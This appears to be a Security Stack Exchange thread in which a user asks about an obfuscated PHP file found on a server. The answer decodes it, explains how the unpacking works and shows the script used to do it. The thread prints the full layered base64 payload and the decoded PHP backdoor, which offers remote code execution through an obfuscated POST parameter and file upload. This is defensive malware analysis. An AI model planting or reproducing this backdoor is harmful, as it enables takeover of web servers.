38

I found a file named "default.php" on the server with following code

    eval(gzinflate(base64_decode(
      "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")));

What can be the purpose of this script.

1 Answer 1

77

Yes, it's malicious.

This script has 20 layers of eval/deflate obfuscation, but eventually decodes to:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Ugly! Let's format that:

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
    print $_GET['r'];
}
elseif (isset($_POST['e']))
{
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12)
    {
        $fp=@fopen('tmpfile','a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

What have we here?

First, the r parameter seems to be an echo-back for the purposes of detecting that the script is working. The e parameter is used to do remote code execution, with base64 / rot13 obfuscation on the request, presumably to defeat minimal IDS / WAF rules. The final elseif clause is used for file uploads, whereby any binary file upload operation sent to that script will write the contents to a file called tmpfile. I'd assume they'd later use the e parameter to execute code that renames the file, probably for uploading a more functional shell or overwriting existing files.

A quick Google search for the eval line throws up a load of results about Wordpress installations being nailed with it, which were then used to distribute malware and pharma spam.


Ok, due to popular demand, here's how I decrypted it:

First, I replaced the eval with an echo, so it printed out the contents of the inflated data. This gave me another payload that looked exactly the same, except the base64 string was different. After doing the eval / echo switch again a few times, I kept getting the same result - another eval, gzinflate, base64_decode chain with different base64. At this point I wasn't willing to sit there and manually do it, because that would be a pain if there were a large number of layers. I came up with an automated way to unpack it.

I wrapped the initial payload into a string, then used a while loop to iteratively undo layers of protection. The loop condition checks that the decryption chain is at the start of the code string, and if not it leaves the loop and displays the code. This has two functions: first, if the code is only obfuscated by that chain, it'll give us the real code. Second: if a different obfuscation technique is switched to later on, it'll stop and return that code instead of breaking it.

// our initial payload in a string
$code = 'eval(gzinflate(base64_decode("DZVFrsUIggTv .. <snip> .. JCvwNv77n3///ff//h8=")));';

$layers = 0;

// loop while the code string starts with the eval / gzinflate / base64_decode chain
while(strpos($code, 'eval(gzinflate(base64_decode') === 0)
{
  // replace the eval with a return, so that our eval dumps
  // the result of the operation rather than executing it
  $code = str_replace('eval(gz', 'return (gz', $code);

  // the return now causes the result of gzinflate to be
  // placed back into the $code variable.
  $code = eval($code);

  // keep a count of the number of layers we removed
  $layers++;
}

// no longer have a eval/gzinflate/base64_decode chain at
// the start of the code, so print out the result.
echo "Unwrapped {$layers} layers of obfuscation...\n\n";
echo "{$code}\n";

The results:

Unwrapped 21 layers of obfuscation...

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

If you want to see the verbose output with all layers printed, I've put it on Pastebin.

17
  • 23
    Oh, and props to the Online PHP Functions Sandbox for saving me from having to spin up a VM to de-obfuscate this in.
    – Polynomial
    Jan 28, 2013 at 10:27
  • 4
    r is an XSS vulnerability as well. (Not like it matters when you have remote code execution) Jan 28, 2013 at 10:51
  • 4
    The eval function executes PHP code passed to it as a string. So the code takes that big base64 string, turns it back into raw binary data using base64_decode, then runs that raw data through gzinflate, since the obfuscator originally ran the data through gzdeflate. So I just replaced the eval with an echo, so it prints out the de-obfuscated string. That operation returns another blob of PHP code that looks similar, with another eval, but actually contains a different base64 blob. If you repeat this over and over, eventually it results in the blob of code I posted.
    – Polynomial
    Jan 28, 2013 at 11:23
  • 2
    To save me doing it manually, I wrote a script that takes the original script, replaces the eval with a return, then evals that. It then looks at the results and checks if there's another eval at the start. If there is, it loops back and does another replace/eval. If there's no eval at the start of the string, it prints the result, which gives us the final code.
    – Polynomial
    Jan 28, 2013 at 11:24
  • 1
    Ok, I've added an update to include a detailed description of how I de-obfuscated it, and the script I built to do the automatic decryption.
    – Polynomial
    Jan 29, 2013 at 9:15

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .